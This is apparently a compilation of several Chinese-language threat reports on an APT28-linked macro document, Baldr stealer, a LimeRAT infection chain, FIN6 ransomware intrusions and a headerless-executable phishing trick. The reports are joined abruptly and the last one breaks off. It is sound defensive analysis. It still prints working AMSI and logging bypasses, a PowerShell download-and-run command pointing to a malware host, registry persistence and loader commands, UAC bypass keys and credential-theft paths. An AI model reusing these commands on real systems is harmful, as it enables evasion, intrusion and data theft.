1.PNG

图1.恶意文档示意

文档的主题以及检测到的时间点都引起了我们的注意,因此我们决定进一步挖掘,以评估这个恶意文档的性质。

技术分析

t1.jpg

2.png

图2:查看和修改文档上的宏所需的密码

恶意文档的第一个特性是受保护的宏,当用户试图读取它时,会立即显示一个要求输入密码的消息框。使用传统的恶意软件分析工具可以轻松绕过此Office密码保护机制,在提取代码之后,可以按如下方式分析纯文本代码。

3.png

图3:文档宏的源代码

乍一看,代码没有被混淆的痕迹,但是可以在宏中发现异常的函数调用:ActiveDocument.BuiltInDocumentProperties.Item(“Company”)。此方法能恢复属于文档元数据的属性。在特定情况下,代码会试图读取“Company”属性中包含的值,一个base64编码的字符串。

4.png

图4:存储在文档元数据的“Company”标签中的payload

这种通过在文档属性部分中隐藏恶意payload的做法是Emotet银行恶意软件的惯用手段,Emotet是对全世界组织机构最具侵略性的恶意软件威胁之一。与初始代码不同,解码后的payload是高度混淆的Powershell命令。

5.png

图5:从base64到ascii转换后的powershell代码

经过几个去混淆阶段后的代码如下:

6.png

图6:去混淆后的powershell代码

这个脚本非常有趣,因为它的第一个动作就是减少自身存在痕迹,此步动作是通过禁用Powershell脚本块日志记录和反软件扫描接口(anti – alware Scan Interface, AMSI)来实现的。

ScriptBlock的日志记录功能是在Powershell v5中引入的,它能够在Powershell引擎执行代码块时对代码块进行日志记录,包括混淆的代码段和相应的去混淆代码段。而AMSI是一种通用的接口标准,它允许应用程序和服务与安装在机器上的任何反恶意软件产品集成,并在代码执行之前评估代码。关于AMSI的更多细节已经在以前的分析报告中描述过。

因此,此恶意软件会检查当前的Powershell版本,如果版本是3或在3之上,则会禁用上述安全功能。对上述两项功能的绕过是使用几行代码实现的,比如可以通过以下指令禁用ScriptBlock日志记录:

1. $settings = [Ref].Assembly.GetType(“System.Management.Automation.Utils”).GetField(“cachedGroupPolicySettings”,”NonPublic,Static”).GetValue($null);
2. $settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”] = @{}
3. $settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”].Add(“EnableScriptBlockLogging”, “0”)

而绕过AMSI的代码则更简单:

1. [Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)<br>

该指令能够修改“amsiInitFailed”变量的值,将其设置为“true”。这样,当“ScanContent”方法使用此变量来确定AMSI是否应该扫描要执行的命令时,它会返回值amsi_result_not_detection,并让payload运行。从手法上看,恶意软件背后的创作者似乎参考了这篇文章中对AMSI和BlockLogging禁用技术的研究。

在偷偷设置好InternetExplorer 11 的用户代理之后,payload会尝试从“hxxps://functiondiscovery[.]net:8443/admin/get”处下载下一个感染阶段所需文件。此代码还包含了Powershell Empire特征指示器:cookie“session = J + kcj5bWE11g4zBLrjvZjNO296I =”。

7.png

图7:恶意软件设置的用户代理

C2最后定位为捷克共和国。该IP在2018年10月首次出现,并一直活跃到2019年4月。

8.png

图8:关于DropURL/C2的信息

归因

与C2服务器连接的脚本部分是使用当前流行的后开发工具Empire创建的,还有一些使用Empire生成的脚本作为后期开发模块的Sofacy样本已有许多安全组织机构对其做过分析。

2018年9月至12月,APT28(又名Fancy Bear、Pawn Storm、SofacyGroup、Sednit和STRONTIUM)对欧洲的民主机构发动了数次攻击。

APT28小组至少自2007年以来一直活跃,目标是世界各地的政府、军队和安全组织。该组织还参与了2016年总统大选的一系列袭击行动。

据Symantec去年10月发布的一份报告显示,该组织正在欧洲和南美积极开展针对政府和军事组织的网络间谍活动。

此外,根据FireEye对对俄罗斯相关的APT组织的分析,APT28正越来越依赖于公共代码库,如Carberp、PowerShell Empire、P.A.S. webshell、Metasploit模块等,不光会加快他们的开发周期,而且能方便他们推脱责任。此外,恶意文件的内容和发现的时间点都可能表明,此次行动背后或许有政府支持。

8-2.png

不过,我们在对此样本的功能做归因分析时也产生了一些疑惑。如前所述,用户可以很直观地看到文档的内容,那么为什么要启用宏呢?此外,宏代码是完全可读的,没有使用加密或混淆来逃避检测。唯一的宏保护机制是锁定dev项目,但是使用常见的恶意软件分析工具就能轻易地绕过它。所有这些,都不是典型的APT28 dropper的特征,照理说应该是经过重重混淆才对。SecurityArtWork团队认为该样本是属于Sofacy组的,因为它与Vitali Kremez之前研究过的较早的样本(8cccdce85beca7b7dc805a7f048fcd1bc8f7614dd7e13c2986a9fa5dfbbdf9)之间存在相似性——宏代码中使用的函数名,以及使用WMI连接器启动新的恶意进程之间的相似性。

然而,分析这两个文档时,即使某些函数的名称相等,宏也不会显示相同的结构。在下列右图中对应的是Vitali Kremez分析的样本,代码经过重度混淆:它包含了“$”字符,用来逃避AV检测,以及一个用于执行解码的自定义base64例程。

9.png

图9:宏比较:新样本(左)与旧样本(右)

调用WMI的宏部分有一个技巧,用于绕过Microsoft ASR,并能从Office应用程序启动一个新进程。由于类似的代码片段在Github上是公开的,所以这个技巧和使用的代码与俄罗斯组织没有直接关系。因此,文档之间宏代码的相似性很大程度上取决于对开源代码重复使用。

结论

我们并不能完全确定此项行动与APT28有关,不过我们正在调查与Sofacy小组有关的近期其他样本,以便更好的探索他们对政治选举可能带来的影响。

Malwarebytes安全实验室观察到,在过去几个月的时间里,间谍软件无论是在活动频率上还是出新的数量上都有所增长。间谍软件不像银行木马那样,需要被动等待受害者登录银行网站,它们通常都是“即来即取”模式。也就是说,一旦成功感染目标,它们就能收集所需数据,并立即将其发送给攻击者。而由于间谍软件通常不会在本地留存(没有持久性机制),除非攻击时被发现,否则受害者很难知道他们的信息已经被盗走。

这类恶意软件在网络犯罪分子中很流行,使用程度比银行木马更广。间谍软件除了能捕获浏览器历史记录、存储的密码和cookie外,还会寻找可能有价值的文件。

我们将在本文中详述Baldr stealer,它于2019年1月首次出现在地下论坛,2月时被微软在野外发现。

Baldr的来源

Baldr很可能是三名威胁行为者共同合作的作品:第一位是Agressor,也被称为Agri_MAN,早在2011年就以销售黑客工具而闻名;第二位是Overdot,负责销售和推广的工作;而最后一位LordOdin则是负责开发。Baldr于今年1月首次亮相,很快就在俄罗斯最具人气的黑客论坛clearnet上收获了许多好评。

1.png

Overdot之前曾参与过Arkei stealer间谍软件(见下图)的攻击行动。而如今,在clearnet的多处留言板上都可以看见他发的关于Baldr的广告。Overdot通过Jabber为客户提供服务,并负责处理买家的投诉。

2.png

论坛的某一篇帖子中提及到了Overdot之前与Arkei背后的威胁团伙的合作过程,并声称Baldr和Arkei的开发人员也有些许关联。

与发布在clearnet展示板上的大多数产品不同,Baldr以可靠性而出名,并且它还提供了良好的售后服务。

3.png

LordOdin,也被称作BaldrOdin,相对低调得多,但会跟踪与Baldr有关的帖子。

4.png

他会在跟帖中阐述Baldr与Azorult等对手产品的区别,并承诺Baldr绝不仅仅是Arkei的一个复制品:

5.png

Agressor/Agri_MAN是最后一位出现的参与者:

6.png

7.png

Agri_MAN在俄罗斯黑客论坛上销售工具的历史大约可以追溯到2011年。与LordOdin和Overdot相比,他的名声似乎并不好,曾被列入过退款黑名单,还因为使用假账号刷好评而被点名。

Agri_MAN还有一个备用帐户Agressor,此账户名下有一个自动化商店service-shop[.]ml,商店中并非所有商品都跟Baldr相关,并引起了某些误购客户的抱怨:

8.png

这可能表明,Agressor并非是核心成员,与Baldr的开发没有直接关联。Overdot和LordOdin似乎才是管理Baldr的主要参与者。

分发

在对Baldr的分析中,我们收集了几个不同的版本,侧面反映了Baldr开发周期是很短的。本文分析的版本是3月20日发布的2.2最新版:

9.png

Baldr传播主要途径之一就是伪装成破解工具或黑客工具的木马程序。在我们获得的样本中,有一个就是通过YouTube视频进行宣传的,视频内容是介绍一个能免费生成比特币的应用程序,但实际上它的真身是Baldr stealer。

10.png

Fallout exploit kit也有帮助Baldr进行传播:

11.png

技术分析(Baldr 2.2)

Baldr提供的功能相对简单直接,跟之前的间谍软件相比并没有什么突破性的进步,它的与众不同之处其极其复杂的逻辑实现。

大多间谍软件都像是为了快速赚钱而用多种工具组合在一块的拼凑品,做工粗糙,而Baldr显然是为了长期运行而精心设计的。无论是封装器的使用、payload的代码结构,还是是它的后端C2和分发,Baldr的作者显然是花了很多时间投入其中。

功能概述

Baldr的主要功能可分为五个步骤,按顺序完成。

步骤1:用户分析

Baldr首先收集用户分析数据列表。从用户帐户名到磁盘空间再到操作系统类型等信息都会被收集。

步骤2:过滤敏感数据

接下来,Baldr开始循环遍历计算机关键位置内的所有文件和文件夹。特别是在用户AppData和temp文件夹中查找与敏感数据相关的信息。以下是它搜索的关键位置和应用程序数据列表:

AppData\Local\Google\Chrome\User Data\Default
AppData\Local\Google\Chrome\User Data\Default\Login Data
AppData\Local\Google\Chrome\User Data\Default\Cookies
AppData\Local\Google\Chrome\User Data\Default\Web Data
AppData\Local\Google\Chrome\User Data\Default\History
AppData\Roaming\Exodus\exodus.wallet
AppData\Roaming\Ethereum\keystore
AppData\Local\ProtonVPN
Wallets\Jaxx
Liberty\
NordVPN\
Telegram
Jabber
TotalCommander
Ghisler

扫描的文件从简单的sqlite数据库到其他类型的定制格式都有涵盖,数据被提取后被加载到数组中。在解析并准备好所有目标数据之后,继续它的下一个阶段。

步骤3:ShotGun文件抓取

DOC,DOCX,LOG和TXT文件是此阶段的目标。Baldr从Documents和Desktop目录开始,递归迭代所有子目录。当遇到任何上述扩展名的文件时抓取整个文件的内容。

步骤4:ScreenCap

这是最后一个数据收集的步骤,Baldr让控制器选择抓取用户计算机的屏幕截图。

步骤5:网络过滤

数据装载到数组/列表中之后,Baldr压缩数组,并为网络发送做好准备。

Baldr没有试图隐藏传输过程。我们在分析时,故意为Baldr提供了大量的文件来抓取,想知道它是分批次传出这些数据,还是一次性发送回C2。

12.png

从结果来看是后者。Baldr没有内置功能可以驻留在受害者的计算机上,在它收获了所需的数据后,并不会重新感染同一台机器。此外,代码中没有传播机制。

封装器代码级别分析

此版本的Baldr一开始是内置在可执行程序中的一个AutoIt脚本。使用AIT反编译器,我们进入了封装器的第一阶段。

13.png

如图所示,这段代码经过严重混淆,混淆工作主要由前两个函数负责。这里我们只需要根据作为第二个参数传入的索引,对字符串进行简单的重新排序即可。字符串很容易提取,只需修改此脚本,在返回前就能ConsoleWrite出去混淆的字符串。

14.png

提取的字符串如下:

Execute
BinaryToString
@TempDir
@SystemDir
@SW_HIDE
@StartupDir
@ScriptDir
@OSVersion
@HomeDrive
@CR
@ComSpec
@AutoItPID
@AutoItExe
@AppDataDir
WinExists
UBound
StringReplace
StringLen
StringInStr
Sleep
ShellExecute
RegWrite
Random
ProcessExists
ProcessClose
IsAdmin
FileWrite
FileSetAttrib
FileRead
FileOpen
FileExists
FileDelete
FileClose
DriveGetDrive
DllStructSetData
DllStructGet
DllStructGetData
DllStructCreate
DllCallAddress
DllCall
DirCreate
BinaryLen
TrayIconHide
:Zone.Identifier
kernel32.dll
handle
CreateMutexW
struct*
FindResourceW
kernel32.dll
dword
SizeofResource
kernel32.dll
LoadResource
kernel32.dll
LockResource
byte[
VirtualAlloc
byte shellcode [

除了这些明显的函数调用之外,我们还有一些二进制blob对象被去混淆。这里只截取了一部分字符串。

在main可执行文件加载到内存之前,它会从中提取和解密资源DLL。Baldr以前的版本没有在第一阶段使用AIT,而是用到了一个名为Dulciana的辅助文件,文件里包含了我们在这里看到的相同DLL的加密字节:

15.png

继续前进到第二阶段,在所有版本的Baldr封装器中,本质都是保持不变的。将DLL加载到内存中,会创建Baldr main可执行文件挂起状态下的子进程,接着使用进程hollow技术,将其替换为main .NET的payload。我们可以使用ollyDbg手动解压,因为在可执行子进程加载中断之后,我们可以逐步执行父进程的剩余代码,把这些代码写入进程内存,并最终调用ResumeThread()命令。

16.png

加载子进程后,Baldr设置的用于调用的函数有VirtualAlloc、WriteProcessMemory和ResumeThread。如果我们在resume thread调用之前转储这个写入的内存,就可以轻松地提取核心payload。

Payload代码分析

解压缩payload后可以看到恶意软件的实际功能。虽然Baldr是用c#编写的,但对它源码的调试和分析并不容易。

17.png

Baldr的代码写得并不直白。所有功能都是高度抽象的,封装在包装器函数中,并利用了大量的实用程序类。代码库包含了大约80个独立类和模块,很难看出关键功能在哪里,需要对代码库进行多次静态传递。此外,函数名是被改过的,代码中还有插入一些垃圾指令,下一步我们将开始用DnSpy调试可执行程序。

另外一个问题是线程。Baldr每一分钟的操作都是通过一个单独的线程执行的,这么做的目的显然是为了干扰分析人员的解析过程。线程内部调用了100多个函数,还不包括递归调用的线程,算上可能有上千个函数。

18.png

幸运的是,我们可以查看正在被写入的本地数据,最终我们能够找到代码的关键部分:

19.png

20.png

上面的函数用于收集用户的配置文件,包括CPU类型、计算机名称、用户帐户和操作系统。

21.png

在整个过程完成后,它将存储该数据的数组压缩,得到如下字符串:

22.png

代码的下一节显示了用于循环目录的众多枚举器类中的一个,这些枚举器类用于查找应用程序数据,比如存储的用户帐户,我们特意将其保存下来以进行测试。

23.png

24.png

检索到的数据按如下格式保存到列表中:

25.png

26.png

在数据收集的最后阶段,我们有以下线程,它们循环查找txt和doc文件的关键目录。它将保存它找到的每个txt或doc的文件名,并将文件的内容存储在各类数组中。

27.png

28.png

29.png

30.png

部分代码执行的屏幕截图:

31.png

类2d10104b函数1b0b685()是执行大部分功能的主要模块之一,例如循环遍历目录。一旦收集了所有数据,线程就会聚在一起,剩下的代码行继续单线程运行。然后开始网络调用,所有数据被发送回C2。

压缩后的数据通过XOR加密,密钥为4字节,版本号是通过第一个网络请求与C2联系获得的。第二个请求将加密的数据发送回C2。

面板

与其他间谍软件一样,Baldr提供了一个面板,允许客户查看高级统计数据,并检索被盗信息。下面是一个登录页面板:

32.png

在发布在论坛的截图中,我们看到了面板:

33.png

总结

Baldr是一类制作完善的间谍软件。目前,它背后的团队还在积极参与各种论坛,努力宣传和改进自己的产品。在短短几个月的时间内,Baldr经历了许多版本的变化,表明其作者正在不断修改漏洞,并可能在研发新的功能。

在同类产品竞争激烈的情况下,Baldr将不得不是自己变得更加出色。不过,市场对这类产品的需求很高,所以预计在不远的将来,可能在多个攻击行动中我们都能看到Baldr的身影。

IoC

Baldr样本:

5464be2fd1862f850bdb9fc5536eceafb60c49835dd112e0cd91dabef0ffcec5 -> version 1.2
1cd5f152cde33906c0be3b02a88b1d5133af3c7791bcde8f33eefed3199083a6 -> version 2.0
7b88d4ce3610e264648741c76101cb80fe1e5e0377ea0ee62d8eb3d0c2decb92 > version 2.2
8756ad881ad157b34bce011cc5d281f85d5195da1ed3443fa0a802b57de9962f (2.2 unpacked)

网络跟踪:

hwid={redacted}&os=Windows%207%20x64&file=0&cookie=0&pswd=0&credit=0&autofill=0&wallets=0&id=BALDR&version=v1.2.0
hwid={redacted}&os=Windows%207%20x64&file=0&cookie=0&pswd=0&credit=0&autofill=0&wallets=0&id=BALDR&version=v2.0

介绍

几天前,Cybaze-Yoroi ZLab安全团队遇到了一类有趣的感染链,它利用多种复杂技术,能够绕过传统安全防御机制并隐藏其payload,对目标用户造成严重威胁。

整个感染链始于一个LNK文件,利用LNK文件进行攻击是APT组织常常使用的技术之一,因此我们决定对这些恶意样本进行更深入的研究,在研究过程中,我们还发现了另一个早被用滥的开源项目,很多时候,网络犯罪分子会在其中植入恶意软件。

1.jpg

技术分析

感染链的起源是一个简单的LNK文件,旨在通过以下命令从远程位置下载并运行名为“rdp.ps1”的PowerShell文件:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Windo 1 $wm=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWVY'));sal g $wm;$IF=((New-Object Net.WebClient)).DownloadString('https://hacks4all[.net/rdp.ps1');g $I

检索到的Powershell脚本是整个感染链的dropper。

t1.jpg

此Powershell脚本首先使用“Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Version”命令检索目标计算机上安装的Windows操作系统的版本。接着根据返回的值,利用一些相应的权限提升漏洞,以绕过UAC(用户帐户控制)功能——这是自Windows Vista起引入的一种安全机制,可以避免未经授权的系统配置更改。脚本的首要目标就是在版本低于8.1的Windows中,利用EventViewer进程上的设计缺陷来执行具有更高特权的命令。

对此漏洞的利用过程是非常容易的:恶意软件可以访问注册表项“HKCU:\ Software \ Classes \ mscfile \ shell \ open \ command”,并在此处插入命令,通过强制执行“eventvwr.exe”进程来运行其payload,由于安全漏洞,可以以最高权限运行该进程。

2.png

3.png

图1:检查目标Windows版本并为eventvwr.exe进程漏洞利用做准备

第二个漏洞则涉及到Windows 10操作系统:是FODhelper进程中的一个漏洞。此漏洞利用的原理与前一个类似,但访问的注册表项是“HKCU:\ Software \ Classes \ ms-settings \ Shell \ Open \ command”,而受攻击的进程则是“fodhelper.exe”。

4.png

5.png

图2:检查目标Windows版本并为fodhelper.exe进程漏洞利用做准备

之后运行Powershell payload,payload在解码后会调用额外的JavaScript代码。这个脚本的主体包含一个嵌入其他子函数的惟一匿名函数和一个很大的模糊变量。

6.png

图3:以Base64格式编码的payload,与自定义子程序混淆

7.png

图4:子程序去混淆后的部分代码

它的payload是一个参数化的Powershell脚本,目的是将最终payload安装到用户注册表hive中,从而结束感染链。

[
 "Wscript.Shell",
 "scriptfullname",
 "scriptname",
 "powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command ",
 "%",
 "ExpandEnvironmentStrings",
 "Temp",
 "\\",
 "fromCharCode",
 "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Temp')+'\\",
 "',[System.IO.File]::ReadAllText('",
 "'));wscript '",
 "'",
 "Run",
 "Quit",
 "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -name 'FileName' -value '",
 "' -PropertyType String -Force;",
 "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\\",
 "'))",
 
 " ##### FINAL PAYLOAD ##### "
 "HKCU\\SOFTWARE\\Microsoft\\\\Winkey",
 "Scripting.FileSystemObject",
 "REG_SZ",
 "regwrite",
 "$_b = (get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'Winkey').Winkey;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
]

8.png

图5:注册表项中以base64格式编写的最终payload

Payload

最终的payload实际上是一个Base64编码的PE32文件,为了躲避反病毒检测,不会将文件存储到注册表hive中。它是用c#编写的,至少需要. net framework 3.2才能运行。通过对恶意软件代码的研究,我们发现了多个证据表明该恶意软件可能属于LimeRAT恶意软件家族。

LimeRAT是一款功能强大的远程管理工具,也是Github上免费提供的一个开源项目,任何互用户都可以使用。将其源代码与反编译样例进行比较,我们能够确认恶意软件的payload和这个开源远程管理工具之间具有很高的兼容性。

9.png

图6:静态payload数据

10.png图7:反编译代码(左边)和Github平台上的源代码(右边)

恶意软件的功能与上述开源代码的匹配度非常高。另外它也做了一些改动,例如,恶意软件可以将自己注册为“Critical Process”,当用户试图杀死它时,机器上就会出现蓝屏死机(BSoD)。除此之外,恶意软件还有一整套非常强大和危险的功能,比如:

· 通过USB驱动器传播,感染USB驱动器上的所有文件和文件夹。

· 无文件启动方法以逃避AV检测。

· 虚拟机和分析箱,同样是为了避免检测。

· Stealer和CryptoStealer模块则是窃取加密货币钱包和保存的密码。

· 键盘记录模块。

· 后门和RDP访问。

C2服务器

11.png

图8.对C2的检索

恶意软件的C2服务器通过滥用Pastebin服务来降低被检索到的可能性。真实的C2目的地地址需要通过加密的HTTPS通道从pastie动态检索。

此外,攻击者依赖于动态DNS服务“warzonedns.com”,该服务指向位于俄罗斯的213.183.58 [.10 IP地址。

调查此地址后,我们找到了注册商的电子邮件地址,“anthony.marshall.1986 [@gmail [.com”,这个邮件地址曾出现在2017年一个众所周知的AdWind / JRat恶意活动中,表明该恶意行为者是长期活跃的。

持久性机制

此恶意软件还使用了多种持久性机制,使得临时事件响应程序更难摆脱感染的控制,多种持久性机制有助于确保感染持续时间更长。更具体地说,它利用了至少三种不同的持久性技巧,将自身复制到三种不同的路径中:

· C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

· C:\Users\public\

· %APPDATA%\Local\Temp\

12.png

图9:恶意软件的持久性机制

JavaScript代码通过以下powershell命令执行:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'FileName' -value 'C:\Users\admin\AppData\Local\Temp\fuw.js' -PropertyType String -Force;"

结论

在我们的分析案例中可以看出:一些开源项目正越来越常被黑客滥用,并被融入到一些众所周知的恶意软件中去。黑客通过对它们不断地编排、改进来逃避基本的安全控制、渗透企业安全的边界。

摘要

近日,FireEye在对一个工程行业的客户做检测时发现了FIN6入侵的迹象,FIN6是FIN旗下的APT攻击组织之一,于2016年首次被发现,当时该组织使用Grabnew后门和FrameworkPOS恶意软件,来窃取超过1万张信用卡的详细资料。而此次入侵,似乎与FIN6的历史定位不符,因为该客户并没有支付卡相关的业务,所以我们一开始也很难猜测攻击者的入侵意图。但好在FireEye团队的分析师拥丰富的实践经验,在Managed Defense和Mandiant安全团队的帮助下,从数百项调查中整理出了一些线索。能够确定的一点是,FIN6已经扩大了他们的犯罪目标,通过安插勒索软件来进一步危害实体企业获利。

这篇文章旨在介绍FIN6最新的战术、技术和过程(TTPs),包括FIN6对LockerGoga和Ryuk勒索软件的使用情况。在本例中,我们挽救了该客户可能高达数百万美元的损失。

检测和响应

FireEye Endpoint Security技术检测显示,FIN6对该客户的入侵尚处于初始阶段,通过盗窃凭证,以及对Cobalt Strike、Metasploit、Adfind和7-Zip等公开工具的使用来进行内部侦察、压缩数据并协助其整体任务。并且分析人员发现了可疑的SMB连接和Windows注册表构件,这些构件表明攻击者通过安装恶意Windows服务在远程系统上执行PowerShell命令。Windows Event Log则显示了负责服务安装的用户帐户详细信息,还带有一些其他的威胁指标,借此我们能确定此次行动的影响范围,以及对FIN6是否入侵了其他系统做识别。之后我们使用Windows Registry Shellbag条目重建了FIN6在受损系统上横向移动时的操作。

攻击链

建立立足点和特权升级

为了在开始时获得对环境的访问权限,FIN6会破坏面向互联网的系统,在此之后FIN6利用窃取的凭证,通过Windows的远程桌面协议(RDP)在环境中横向移动。

在RDP连接到系统之后,FIN6使用了两种不同的技术来建立立足点:

第一类技术:FIN6使用PowerShell执行编码的命令。该命令由一个字节数组组成,其中包含一个base64编码的负载,如图1所示。

Picture1.png

图1:Base64编码命令

此负载是Cobalt Strike httpsstager,它被注入运行该命令的PowerShell进程中。Cobalt Strike httpsstager被配置为从hxxps://176.126.85[.]207:443/7sJh处下载第二个负载。对其检索后发现,它是一个shellcode负载,被配置为从hxxps://176.126.85[.]207/ca处下载第三个负载。我们无法确定最终的负载,因为在我们的分析期间,链接所在的服务器已不再对其进行托管了。

第二类技术:FIN6还利用Metasploit创建的Windows服务(以随机的16个字符串命名,如IXiCDtPbtGWnrAGQ)来执行经过编码的PowerShell命令。这是由于使用Metasploit时将默认创建16个字符的服务。编码的命令包含一个Metasploit反向HTTP shell代码负载,它存储在字节数组中,就像第一类技术一样。Metasploit反向HTTP负载被配置为,在TCP端口443上使用随机命名的资源,如“/ilX9zObq6LleAF8BBdsdHwRjapd8_1Tl4Y-9Rc6hMbPXHPgVTWTtb0xfb7BpIyC1Lia31F5gCN_btvkad7aR2JF5ySRLZmTtY”,与C2(IP地址:176.126.85[.]207)进行通信。这个C2 URL包含的shellcode 将发出HTTPS请求以获取额外的下载。

为了在环境中实现特权升级,FIN6使用了Metasploit框架中包含的命名管道模拟技术,该技术允许系统级特权升级。

内部侦察与横向运动

FIN6使用一个Windows批处理文件进行内部侦察,此批处理文件能利用Adfind查询Active Directory,然后使用7-zip压缩结果并进行提取:

adfind.exe -f(objectcategory = person)> ad_users.txt
adfind.exe -f objectcategory = computer> ad_computers.txt
adfind.exe -f(objectcategory = organizationalUnit)> ad_ous.txt
adfind.exe -subnets -f(objectCategory = subnet)> ad_subnets.txt
adfind.exe -f“(objectcategory = group)”> ad_group.txt
adfind.exe -gcb -sc trustdmp> ad_trustdmp.txt
7.exe a -mx3 ad.7z ad_ *

批处理文件的输出包括Active Directory用户、计算机、组织单元、子网、组和信任关系。通过这些输出,FIN6能够识别有权限访问域中其他主机的用户帐户。对于横向移动,FIN6使用了另一组凭证,这些凭证的成员属于域中的其他组、RDP或其他主机。

保持存在

由于客户已预先安装了FireEye Endpoint Security,它能切断攻击者对系统的访问,而攻击者的入侵痕迹仍然保持完整,可以进行远程分析。因此FIN6无法保持存在,进而进一步实现他们的攻击目标。

FireEye观察到,FIN6入侵后部署了勒索软件Ryuk或LockerGoga。

横向移动

FIN6使用编码的PowerShell命令在受损系统上安装Cobalt Strike。通过Cobalt Strike的横向移动命令“psexec”,能在目标系统上创建一个随机的16个字符串的Windows服务,并执行编码的PowerShell,在某些情况下,此PowerShell命令用于下载和执行站点hxxps://pastebin[.]com上托管的内容。

完成使命

FIN6还会将利用RDP在环境中横向移动的服务器配置为恶意软件“分发”服务器。分发服务器用于分阶段部署LockerGoga勒索软件、附加实用程序和部署脚本,以自动安装勒索软件。 Mandiant确定了一个名为kill.bat、在环境中的系统上运行的实用程序脚本。此脚本包含一系列反取证命令,旨在禁用防病毒软件并破坏操作系统的稳定性。FIN6使用批处理脚本文件自动部署kill.bat和LockerGoga勒索软件。FIN6在恶意软件分发服务器上创建了许多BAT文件,命名为xaa.bat,xab.bat,xac.bat等。这些BAT文件包含psexec命令,用于连接到远程系统并部署kill.bat和LockerGoga。FIN6将psexec服务名称重命名为“mstdc”,以便伪装成合法的Windows可执行文件“msdtc”。部署BAT文件中的示例字符串如图2所示。为了确保较高的成功率,攻击者使用了受损的域管理员凭据,而域管理员可以完全控制Active Directory环境中的Windows系统。

start copy svchost.exe \\10.1.1.1\c$\windows\temp\start psexec.exe \\10.1.1.1 -u domain\domainadmin -p "password" -d -h -r mstdc -s -accepteula -nobanner c:\windows\temp\svchost.exe

勒索软件Ryuk是一种勒索软件,它使用公共密钥加密和对称密钥加密的组合来加密主机上的文件。LockerGoga是一个勒索软件,它使用1024位RSA和128位AES加密来加密文件,并在根目录和共享桌面目录中留下勒索信息。

总结

从以往来看,FIN6主要是盗窃销售点(POS)或电子商务系统的支付卡数据,此次事件却把矛头指向了工程行业。而从Mandiant事件响应调查和FireEye情报研究的综合结果来看,最近发生的多起利用Ryuk和LockerGoga的事件都与FIN6有关。最早一起事件可追溯到2018年7月,据报道,受害者为此损失了数千万美元。新型攻击事件发生的频率越来越多,FIN6已经越来越不像过去那个针对销售点(POS)环境入侵、部署TRINITY恶意软件以及其他明显特点的FIN6。FIN6团体可能已经改变了他们的运营策略,专注于对勒索软件的运用。但是,根据这些勒索软件事件与历史FIN6活动之间的战术差异,也可能是一些FIN6运营人员独立于组织支付卡盗窃的业务进行勒索软件分发的。上述情况无论是哪一种发生,都会影响该组织对信用卡威胁程度的走向。我们在整理犯罪活动时也经常遇到这种归因挑战。鉴于这些入侵持续了将近一年的时间,我们估计,只有更进一步深入了解攻击团伙的入侵企图后,才能够更全面地回答有关FIN6当前状态的这些问题。

IoC

1.png

检测技术

下表包含几个特定的检测名称,包括用于初始感染活动的几个工具和技术的方法学检测,以及FIN6使用的勒索软件的其他检测名称。

4.png

摘要

Cofense Intelligence近日在一场通过恶意附件传播的网络钓鱼活动中,发现了一个有趣的现象,恶意文件中包含了一个看似“损坏”实际却能执行的文件。在某些条件下,该文件能避开自动和手动分析,并能在目标环境中武器化。

“损坏”指的是文件缺乏文件头,其设计初衷可能是让分析人员误以为附件是无害的,觉得只是攻击者犯下的一个简单的错误,不值得认真对待。但只有当你打开附件或使用特殊程序提取附件时,才会出现无头文件。

此项攻击行动试图利用当前一个普遍存在的问题:信息超载。当分析人员或自动防御系统处理堆积如山的信息时,为了效率他们有时会忽略一些错误的文件,因为它们看起来像是良性的。在此行动中,如果目标环境允许,文件会下载一个脚本来修复“丢失”的头文件,继而运行完整的文件。

虽然此项行动中运用的多阶段规避技术只是一个例外,在当前并没有形成趋势,但是对此手段的大肆运用可能导致毁灭性的结果。为了防范类似的攻击,明智的做法是将分析师的经验和自动化分析相结合。

细节

Cofense Intelligence最近注意到了一场攻击行动,攻击者运用了一个看似“损坏”的可执行文件来躲过防御系统的检测,并且该文件能在目标环境中完全武器化。粗略的分析表明,可执行文件缺少了正确的“文件头”,由于缺少文件头,分析师很有可能就简单地将威胁行为者的手段视为低级错误而不予理睬。事实上,攻击者设计的初衷就是如此,并让文件通过脚本下载来修复“文件头”,再对完整的可执行文件进行执行(前提是满足托管环境中所需条件)。

文件头

文件头本质上是帮助操作系统确定如何解释文件的内容,可以指示几个因素,例如文件是存档文件还是可执行文件。大多数Windows可执行文件都以字符MZ开头,这个MZ头几乎总是存在的,即使在可执行文件被加壳、混淆或嵌入时也是如此。可执行文件的十六进制内容和MZ头,如图1所示。

1.jpg

图1:可执行文件的MZ文件头的十六进制视图

如果该头文件不存在,则可执行文件将无法执行。一些分析人员、自动分析系统或是可执行提取程序将忽略任何没有头信息的文件,并认为文件已遭到破坏。图2中显示了图1中相同可执行文件的示例,但缺少MZ标头。

2.jpg

图2:缺少MZ标头的图1文件

图1中的可执行文件在没有MZ头的情况下无法运行。相反,要使图2中的可执行文件运行,只需要在二进制文件的顶部添加“MZ”即可。

创建可执行文件流程

